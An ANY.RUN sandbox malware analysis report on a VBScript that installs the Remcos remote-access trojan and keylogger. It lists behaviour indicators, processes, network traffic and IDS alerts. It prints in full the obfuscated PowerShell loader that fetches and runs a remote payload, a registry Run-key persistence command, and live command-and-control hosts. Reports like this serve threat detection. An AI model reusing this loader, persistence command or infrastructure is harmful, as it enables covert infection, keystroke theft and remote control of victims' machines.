File name:

script.vbs

Full analysis: https://app.any.run/tasks/aa74ae62-a8fa-42ba-bdc3-e382dc88da28
Verdict: Malicious activity
Threats:

A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools.

Malware Trends Tracker     >>>
Analysis date: April 07, 2024, 16:25:00
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
remcos
keylogger
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (338), with CRLF line terminators
MD5:

572491F10732461C93275DF27063DA39

SHA1:

3A66C521915DB43654C9C81608DEB1182439B612

SHA256:

D262944620F2BF601FFC2EAE33036BB538BF6FF366BAAEABBEA15845F7922639

SSDEEP:

1536:ftNW0G4dZ7p93Y1xP5DLkkmjAI3CpvK8Uq9RTRw35qHVbHB139Mk:vWT4f193YLPVLvmsISpvK2G5qHFh13b

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Opens a text file (SCRIPT)

      • wscript.exe (PID: 1836)

    • Changes the autorun value in the registry

      • reg.exe (PID: 1844)

    • REMCOS has been detected

      • wab.exe (PID: 3324)

  • SUSPICIOUS

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 1836)

    • Reads data from a binary Stream object (SCRIPT)

      • wscript.exe (PID: 1836)

    • Reads the Internet Settings

      • wscript.exe (PID: 1836)
      • powershell.exe (PID: 3276)
      • wab.exe (PID: 3324)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 1836)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 1836)

    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 1836)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 3276)

    • Converts a specified value to a byte (POWERSHELL)

      • powershell.exe (PID: 3276)

    • Reads security settings of Internet Explorer

      • wab.exe (PID: 3324)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 1368)

    • Reads settings of System Certificates

      • wab.exe (PID: 3324)

    • Checks Windows Trust Settings

      • wab.exe (PID: 3324)

    • Adds/modifies Windows certificates

      • wab.exe (PID: 3324)

    • Connects to unusual port

      • wab.exe (PID: 3324)

    • Writes files like Keylogger logs

      • wab.exe (PID: 3324)

    • Starts CMD.EXE for commands execution

      • wab.exe (PID: 3324)

  • INFO

    • Creates or changes the value of an item property via Powershell

      • wscript.exe (PID: 1836)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 3276)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 3276)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 3276)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 3276)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 3276)

    • Creates a byte array (POWERSHELL)

      • powershell.exe (PID: 3276)

    • Checks supported languages

      • wab.exe (PID: 3324)

    • Reads the computer name

      • wab.exe (PID: 3324)

    • Reads the machine GUID from the registry

      • wab.exe (PID: 3324)

    • Reads the software policy settings

      • wab.exe (PID: 3324)

    • Creates files or folders in the user directory

      • wab.exe (PID: 3324)

    • Reads product name

      • wab.exe (PID: 3324)

    • Checks proxy server information

      • wab.exe (PID: 3324)

    • Reads Environment values

      • wab.exe (PID: 3324)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
46
Monitored processes
5
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe no specs #REMCOS wab.exe cmd.exe no specs reg.exe

Process information

PID
CMD
Path
Indicators
Parent process
1368"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Cesious202" /t REG_EXPAND_SZ /d "%Vitruvian% -w 1 $Jabberment=(Get-ItemProperty -Path 'HKCU:\Forhaenget\').Kidnapperens;%Vitruvian% ($Jabberment)"C:\Windows\System32\cmd.exe—wab.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1836"C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\script.vbs"C:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1844REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Cesious202" /t REG_EXPAND_SZ /d "%Vitruvian% -w 1 $Jabberment=(Get-ItemProperty -Path 'HKCU:\Forhaenget\').Kidnapperens;%Vitruvian% ($Jabberment)"C:\Windows\System32\reg.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3276"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Bechained='toxalbumic:\Daggryenes';Set-Content $Bechained 'Burghmoot';$Jenvipper91=Test-Path $Bechained;if($Jenvipper91){exit};function Ekstraindtgts ($Contumaceous){For($Oplyses=4; $Oplyses -lt $Contumaceous.Length-1; $Oplyses+=5){$efteraarsfarvede=$efteraarsfarvede+$Contumaceous.'Substring'($Oplyses, 1)};$efteraarsfarvede;}$Godsvognes=Ekstraindtgts 'PrurhHmmetK nstDew,pR,cisSh.u:Bepl/ Pin/ nhawTen,iFurptBu seVrdicPlirrGrifaN tuc By kRegieSu.prCestsTrip.Hir cRefro.redmFors/De.owprovpPreh-Sum,couisoSpecnInadtFdeneFor,nStuttCoel/FildF,egelE,hia O lxModt2Patr. esppAragnProrgBrac>ConshCh mtM adtEks.p Spas .lo:Hype/O.er/ engwHessiblintSaboeDgencBetrrChecaCer,c SlakAldieFirmrHumls,klv1Gimb.V ltcExtoo .odmBara/NonmwTar pGuil-NekrcCey o .lenAffatT.ffe,omonS,petStat/A,veFZootlBedraO,nixChun2Rega.B uepBedkn Strg Fle ';$faarehovedets=$Godsvognes.split([char]62);$Prelate=Ekstraindtgts 'ForuiDiffeRegix End ';$haandgranaten = Ekstraindtgts 'Nond\ibrusBredyTerts Prow Vr.oCr,pwGlo,6Stim4sear\for,W Celi,andn OatdCiudoTautw Rams Sc PC.raoMi pw ,loeSborrByttS,islhModveStvllMoa.lPush\ColovForv1Skyl.Conf0Bomb\stjepbro,oSaaewSopreBlkkr ,kusNowhhacoeeDesil perlAppa.TrigeUnasxunteeIleo ';$Godsvognes=$faarehovedets[0];&($Prelate) (Ekstraindtgts 'Sa d$TwinCCleao C.mr vnsdFolklOvereTorusPantsBoai=Sikr$ olceKretn.segvVand:Bo twEntei,etrnIsk.dW,iriDysgrSlab ') ;&($Prelate) (Ekstraindtgts 'Vide$annahKonfa HulaSkranAcutd Li.gMispr OxyamusvnInteaA.datMis efedenSpil=.api$BispC LegoDichrCarddhu.llUneneLitosunbosStud+ lef$InflhGa gaSp,caMacrn Ep.dmyelgAmphrDevaaPhotnDelsa Gumt .lleUanbn Ar, ') ;&($Prelate) (Ekstraindtgts 'Engi$tha FNo.rrResooSpisl G ri .recKub.sMi,aoFr nmNonaekopenOmkre Flus Tras N,m Outr=Tils Deir(Outs( B ogSemiw,lovmVolui Kar DalbwPeriiHippnMaho3Pama2Pimp_MicrpRadir DefoMa,ocBr meOxa,sNaglsDa.r Mis- ystF Jen GriPG,rgrs.mloTre c Infe edlsByposMaliICu,ld Wi,=Evan$Toxo{Ab.ePCensIEngaD Ra.}Sha )Pipe.E,inC npho onvmRavemValiaNatunE,kedProcLFa.ui G nnRadiePage)Komp None-Lu.rs OpspBenclReemiSucutPani Koum[DevocCa phCachaSpisr.dle]M.rk3Over4Abst ');&($Prelate) (Ekstraindtgts 'gene$s imK SvoyLeidsRetetTetslDyreiBorgn RunifupmeR sknKaussMer Kong=Spo. Debu$,ratFSendrPro o Ar,lS.ddi,orgcGra.sVulko SupmAsshet lunInteedyb.sPelasAfsl[Figg$ PraFPh.tr.aneoGed.lT eoi.tejcunnas b roAyrem Onee UdknactiemelosR,quso,er.UndecLiasoCra uHimln ,idtCaup-Tron2tu b]Snap ');&($Prelate) (Ekstraindtgts 'Ko.t$,ltrTOrdneSworlS needrvlfDataocarpnMis iFlorsPasstStubeP alnTol =aars( AngTAdore Ud.s VartRent- Mi PVidea Lsltinsth Kra Fens$ TelhMultaAntiaCinenafkrd Dsig Intr ,umaPyr,n.eypa MeltPhileFremnderm)Homm blan-KantAFinmnPopudYder .ono(Feud[VejrIMa,knArchtSubpPAngetKrigr tan]Vent: ,al:BoyisSys i LakzUnale Boy Inac-Relae udsqRekt Fune8Mand)Pr.p ') ;if ($Telefonisten) {&$haandgranaten $Kystliniens;} else {;$Klyde=Ekstraindtgts 'StttS T.rtM.rva Undr TektGud,-vestB SeriBon,tDivisAftgTForpr A maIndpnOm nsBerrfCoale idrPrem forh- KolS .aloObseuSpear rinc Rhye vrr Ls,i$ andGHypoo Ai.dArl,sDaarv B,no MahgEk an Leae MinsStif magn-ForsDCo,teS lis DantVensi TilnHollaByidt,emii invo,lumnKrys En.$Vor,CCorpoCensrUnlad Latl Trie ,resElassAdro ';&($Prelate) (Ekstraindtgts ' vas$,ouuC klooBedur UnvdJustlMarge erasMuddsPlas=C.ao$Aldee.fprnPresvCl,c:TribaLillpUnanp,erad He apanttTe,aa S,p ') ;&($Prelate) (Ekstraindtgts 'PrecI scemRed.pTailoCulvrG sltProv-ObstMDieso Op.d VaruAntilTickeSpon DoubBAmphi Vidt Al.s Au.TStedrBdenaUdsan,args Pauf BdneSa mrskuf ') ;$Cordless=$Cordless+'\Emhtten.par';while (-not $Trakteredes) {&($Prelate) (Ekstraindtgts 'G,ll$Ro dT xterD,anaAftlkPrimtBetje conrMisceC cld .aueIntesSkal=Boso(Udp.TTableRdtus Dupt.ver- DesPSt ia ArbtFlerhGift In i$ BetCPr,loforkrCa.sdBi llPreieVan sSartsBlok) Rum ') ;&($Prelate) $Klyde;&($Prelate) (Ekstraindtgts ',ekrSistitSvedaChi,r SyntSt.n-AssaSGlotlP eseEx.rePlespIn a Nonr5Plas ');$Godsvognes=$faarehovedets[$Staroobriadtsi++%$faarehovedets.count];}&($Prelate) (Ekstraindtgts 'Undr$OverFTaenuLamilVagig etioSnekrLathoTildiA,ald fl,eMistaInva1Besk1 Sli3bred Anti=Deca Tom,G SteeVisutDocu- nalCo froIndunb.byt unve.oddnV,rktMuse Imag$klipCByzooTinhrSynedcl.bl A,feJingsTr,ssStam ');&($Prelate) (Ekstraindtgts 'Asso$TetaUPersn StesUdsta,lavcUdsarT ndaUnidm,inde FornmezetWipsa sphlUopfl TyryStue Ethn=.eir Rum[PejsSSoueyvolksVibktDowseBambmPum,. .emCAfsboEuxan,epuvUpareC.anrKomptAhre]Cadd:Cave:LeveFShowrMolloBoommDyscB B raDoedsAffee rab6,orn4GadiSm rptEfter PiciPr.fnMakrgC,st( ebb$NondFSplauD,folOut,gTra.o TjerTidsohyliiCooldInteeFlleaP.rs1Kla.1Fors3Unco)Doin ');&($Prelate) (Ekstraindtgts 'Rnke$ ch.WEup,aPo,tl,eedkLremehahnd be, Symb=sk,f Inst[PandS Hy.yRe,isAccotBegieToldmMill.kalvTAffiePh.yxRutet Bab.TrawE skon rivc Aguogu.md demiInscnSub,gUndo]Jazz:Sump: ov AexurSaf aC tvaIInchIM sp.OleiGZoneeAt,atScenSStdttAfkor artiCedrnUn tg ora(Dro,$KoliU Hupn ,eisLynga Ov cUnderOpmuabulbmTi ieEngrnP,int upeaYngslVerdlEkspyMund)L ge ');&($Prelate) (Ekstraindtgts 'Form$Supef s,no ,orr,elezBenea S,dn vocd Nato S.esClin=Svm.$Ung WSlmma Fo.lBefokTnd,eTidmd Rea.GastsFibeuIndhbUnlasLaritDokurUndeiPolyn JingLogl( Ver2Flux8Farr4,emi3Fdse2Disk0Be n,g,or3N nt7Udom8Bur.8B,ea4E,bi)Unde ');&($Prelate) $forzandos;}"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3324"C:\Program Files\windows mail\wab.exe"C:\Program Files\windows mail\wab.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Contacts
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\mshtml.dll
c:\program files\windows mail\wab.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
Total events
11 644
Read events
11 530
Write events
88
Delete events
26

Modification events

(PID) Process:(1836) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(1836) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(1836) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(1836) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3276) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3276) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3276) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3276) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3276) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3324) wab.exeKey:HKEY_CURRENT_USER\Forhaenget
Operation:writeName:Kidnapperens
Value:
$Bechained='toxalbumic:\Daggryenes';Set-Content $Bechained 'Burghmoot';$Jenvipper91=Test-Path $Bechained;if($Jenvipper91){exit};function Ekstraindtgts ($Contumaceous){For($Oplyses=4; $Oplyses -lt $Contumaceous.Length-1; $Oplyses+=5){$efteraarsfarvede=$efteraarsfarvede+$Contumaceous.'Substring'($Oplyses, 1)};$efteraarsfarvede;}$Godsvognes=Ekstraindtgts 'PrurhHmmetK nstDew,pR,cisSh.u:Bepl/ Pin/ nhawTen,iFurptBu seVrdicPlirrGrifaN tuc By kRegieSu.prCestsTrip.Hir cRefro.redmFors/De.owprovpPreh-Sum,couisoSpecnInadtFdeneFor,nStuttCoel/FildF,egelE,hia O lxModt2Patr. esppAragnProrgBrac>ConshCh mtM adtEks.p Spas .lo:Hype/O.er/ engwHessiblintSaboeDgencBetrrChecaCer,c SlakAldieFirmrHumls,klv1Gimb.V ltcExtoo .odmBara/NonmwTar pGuil-NekrcCey o .lenAffatT.ffe,omonS,petStat/A,veFZootlBedraO,nixChun2Rega.B uepBedkn Strg Fle ';$faarehovedets=$Godsvognes.split([char]62);$Prelate=Ekstraindtgts 'ForuiDiffeRegix End ';$haandgranaten = Ekstraindtgts 'Nond\ibrusBredyTerts Prow Vr.oCr,pwGlo,6Stim4sear\for,W Celi,andn OatdCiudoTautw Rams Sc PC.raoMi pw ,loeSborrByttS,islhModveStvllMoa.lPush\ColovForv1Skyl.Conf0Bomb\stjepbro,oSaaewSopreBlkkr ,kusNowhhacoeeDesil perlAppa.TrigeUnasxunteeIleo ';$Godsvognes=$faarehovedets[0];&($Prelate) (Ekstraindtgts 'Sa d$TwinCCleao C.mr vnsdFolklOvereTorusPantsBoai=Sikr$ olceKretn.segvVand:Bo twEntei,etrnIsk.dW,iriDysgrSlab ') ;&($Prelate) (Ekstraindtgts 'Vide$annahKonfa HulaSkranAcutd Li.gMispr OxyamusvnInteaA.datMis efedenSpil=.api$BispC LegoDichrCarddhu.llUneneLitosunbosStud+ lef$InflhGa gaSp,caMacrn Ep.dmyelgAmphrDevaaPhotnDelsa Gumt .lleUanbn Ar, ') ;&($Prelate) (Ekstraindtgts 'Engi$tha FNo.rrResooSpisl G ri .recKub.sMi,aoFr nmNonaekopenOmkre Flus Tras N,m Outr=Tils Deir(Outs( B ogSemiw,lovmVolui Kar DalbwPeriiHippnMaho3Pama2Pimp_MicrpRadir DefoMa,ocBr meOxa,sNaglsDa.r Mis- ystF Jen GriPG,rgrs.mloTre c Infe edlsByposMaliICu,ld Wi,=Evan$Toxo{Ab.ePCensIEngaD Ra.}Sha )Pipe.E,inC npho onvmRavemValiaNatunE,kedProcLFa.ui G nnRadiePage)Komp None-Lu.rs OpspBenclReemiSucutPani Koum[DevocCa phCachaSpisr.dle]M.rk3Over4Abst ');&($Prelate) (Ekstraindtgts 'gene$s imK SvoyLeidsRetetTetslDyreiBorgn RunifupmeR sknKaussMer Kong=Spo. Debu$,ratFSendrPro o Ar,lS.ddi,orgcGra.sVulko SupmAsshet lunInteedyb.sPelasAfsl[Figg$ PraFPh.tr.aneoGed.lT eoi.tejcunnas b roAyrem Onee UdknactiemelosR,quso,er.UndecLiasoCra uHimln ,idtCaup-Tron2tu b]Snap ');&($Prelate) (Ekstraindtgts 'Ko.t$,ltrTOrdneSworlS needrvlfDataocarpnMis iFlorsPasstStubeP alnTol =aars( AngTAdore Ud.s VartRent- Mi PVidea Lsltinsth Kra Fens$ TelhMultaAntiaCinenafkrd Dsig Intr ,umaPyr,n.eypa MeltPhileFremnderm)Homm blan-KantAFinmnPopudYder .ono(Feud[VejrIMa,knArchtSubpPAngetKrigr tan]Vent: ,al:BoyisSys i LakzUnale Boy Inac-Relae udsqRekt Fune8Mand)Pr.p ') ;if ($Telefonisten) {&$haandgranaten $Kystliniens;} else {;$Klyde=Ekstraindtgts 'StttS T.rtM.rva Undr TektGud,-vestB SeriBon,tDivisAftgTForpr A maIndpnOm nsBerrfCoale idrPrem forh- KolS .aloObseuSpear rinc Rhye vrr Ls,i$ andGHypoo Ai.dArl,sDaarv B,no MahgEk an Leae MinsStif magn-ForsDCo,teS lis DantVensi TilnHollaByidt,emii invo,lumnKrys En.$Vor,CCorpoCensrUnlad Latl Trie ,resElassAdro ';&($Prelate) (Ekstraindtgts ' vas$,ouuC klooBedur UnvdJustlMarge erasMuddsPlas=C.ao$Aldee.fprnPresvCl,c:TribaLillpUnanp,erad He apanttTe,aa S,p ') ;&($Prelate) (Ekstraindtgts 'PrecI scemRed.pTailoCulvrG sltProv-ObstMDieso Op.d VaruAntilTickeSpon DoubBAmphi Vidt Al.s Au.TStedrBdenaUdsan,args Pauf BdneSa mrskuf ') ;$Cordless=$Cordless+'\Emhtten.par';while (-not $Trakteredes) {&($Prelate) (Ekstraindtgts 'G,ll$Ro dT xterD,anaAftlkPrimtBetje conrMisceC cld .aueIntesSkal=Boso(Udp.TTableRdtus Dupt.ver- DesPSt ia ArbtFlerhGift In i$ BetCPr,loforkrCa.sdBi llPreieVan sSartsBlok) Rum ') ;&($Prelate) $Klyde;&($Prelate) (Ekstraindtgts ',ekrSistitSvedaChi,r SyntSt.n-AssaSGlotlP eseEx.rePlespIn a Nonr5Plas ');$Godsvognes=$faarehovedets[$Staroobriadtsi++%$faarehovedets.count];}&($Prelate) (Ekstraindtgts 'Undr$OverFTaenuLamilVagig etioSnekrLathoTildiA,ald fl,eMistaInva1Besk1 Sli3bred Anti=Deca Tom,G SteeVisutDocu- nalCo froIndunb.byt unve.oddnV,rktMuse Imag$klipCByzooTinhrSynedcl.bl A,feJingsTr,ssStam ');&($Prelate) (Ekstraindtgts 'Asso$TetaUPersn StesUdsta,lavcUdsarT ndaUnidm,inde FornmezetWipsa sphlUopfl TyryStue Ethn=.eir Rum[PejsSSoueyvolksVibktDowseBambmPum,. .emCAfsboEuxan,epuvUpareC.anrKomptAhre]Cadd:Cave:LeveFShowrMolloBoommDyscB B raDoedsAffee rab6,orn4GadiSm rptEfter PiciPr.fnMakrgC,st( ebb$NondFSplauD,folOut,gTra.o TjerTidsohyliiCooldInteeFlleaP.rs1Kla.1Fors3Unco)Doin ');&($Prelate) (Ekstraindtgts 'Rnke$ ch.WEup,aPo,tl,eedkLremehahnd be, Symb=sk,f Inst[PandS Hy.yRe,isAccotBegieToldmMill.kalvTAffiePh.yxRutet Bab.TrawE skon rivc Aguogu.md demiInscnSub,gUndo]Jazz:Sump: ov AexurSaf aC tvaIInchIM sp.OleiGZoneeAt,atScenSStdttAfkor artiCedrnUn tg ora(Dro,$KoliU Hupn ,eisLynga Ov cUnderOpmuabulbmTi ieEngrnP,int upeaYngslVerdlEkspyMund)L ge ');&($Prelate) (Ekstraindtgts 'Form$Supef s,no ,orr,elezBenea S,dn vocd Nato S.esClin=Svm.$Ung WSlmma Fo.lBefokTnd,eTidmd Rea.GastsFibeuIndhbUnlasLaritDokurUndeiPolyn JingLogl( Ver2Flux8Farr4,emi3Fdse2Disk0Be n,g,or3N nt7Udom8Bur.8B,ea4E,bi)Unde ');&($Prelate) $forzandos;}
Executable files
0
Suspicious files
2
Text files
0
Unknown types
8

Dropped files

PID
Process
Filename
Type
3276powershell.exeC:\Users\admin\AppData\Local\Temp\ntfy3gfy.rag.ps1binary
MD5:—
SHA256:—
3276powershell.exeC:\Users\admin\AppData\Local\Temp\t14tdj5s.032.psm1binary
MD5:—
SHA256:—
3276powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:—
SHA256:—
3324wab.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157binary
MD5:—
SHA256:—
3324wab.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751binary
MD5:—
SHA256:—
3324wab.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751binary
MD5:—
SHA256:—
3324wab.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61binary
MD5:—
SHA256:—
3324wab.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61binary
MD5:—
SHA256:—
3324wab.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\B6QGX7LP\json[1].jsonbinary
MD5:—
SHA256:—
3324wab.exeC:\Users\admin\AppData\Roaming\ojncvrt.datbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
14
DNS requests
9
Threats
6

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3324
wab.exe
GET
304
72.247.153.178:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?80fffccc3c564315
unknown
—
—
unknown
856
svchost.exe
GET
200
2.19.126.137:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?6d5023fe855374a9
unknown
—
—
unknown
3324
wab.exe
GET
200
2.18.97.144:80
http://x1.c.lencr.org/
unknown
—
—
unknown
3324
wab.exe
GET
200
2.18.97.144:80
http://x2.c.lencr.org/
unknown
—
—
unknown
1080
svchost.exe
GET
304
173.222.108.210:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?aa4b77dd5ef709e5
unknown
—
—
unknown
3324
wab.exe
GET
200
178.237.33.50:80
http://geoplugin.net/json.gp
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
2372
svchost.exe
239.255.255.250:1900
—
—
—
unknown
856
svchost.exe
172.67.169.4:443
witecrackers.com
CLOUDFLARENET
US
unknown
856
svchost.exe
2.19.126.137:80
ctldl.windowsupdate.com
Akamai International B.V.
DE
unknown
3324
wab.exe
172.67.169.4:443
witecrackers.com
CLOUDFLARENET
US
unknown
3324
wab.exe
72.247.153.178:80
ctldl.windowsupdate.com
Akamai International B.V.
DE
whitelisted
3324
wab.exe
2.18.97.144:80
x1.c.lencr.org
Akamai International B.V.
FR
unknown
3324
wab.exe
64.42.179.67:23716
sharbats934sours1.duckdns.org
DEDICATED
US
malicious

DNS requests

Domain
IP
Reputation
witecrackers.com
  • 172.67.169.4
  • 104.21.54.202
unknown
ctldl.windowsupdate.com
  • 2.19.126.137
  • 2.19.126.163
  • 72.247.153.178
  • 72.247.153.162
  • 173.222.108.210
  • 173.222.108.226
whitelisted
x1.c.lencr.org
  • 2.18.97.144
whitelisted
x2.c.lencr.org
  • 2.18.97.144
whitelisted
sharbats934sours1.duckdns.org
  • 64.42.179.67
unknown
geoplugin.net
  • 178.237.33.50
malicious
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
1080
svchost.exe
Potentially Bad Traffic
ET INFO DYNAMIC_DNS Query to a *.duckdns .org Domain
1080
svchost.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
—
—
Malware Command and Control Activity Detected
ET MALWARE Remcos 3.x Unencrypted Checkin
—
—
Malware Command and Control Activity Detected
ET MALWARE Remcos 3.x Unencrypted Server Response
—
—
Malware Command and Control Activity Detected
ET MALWARE Remcos 3.x Unencrypted Server Response
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
script.vbs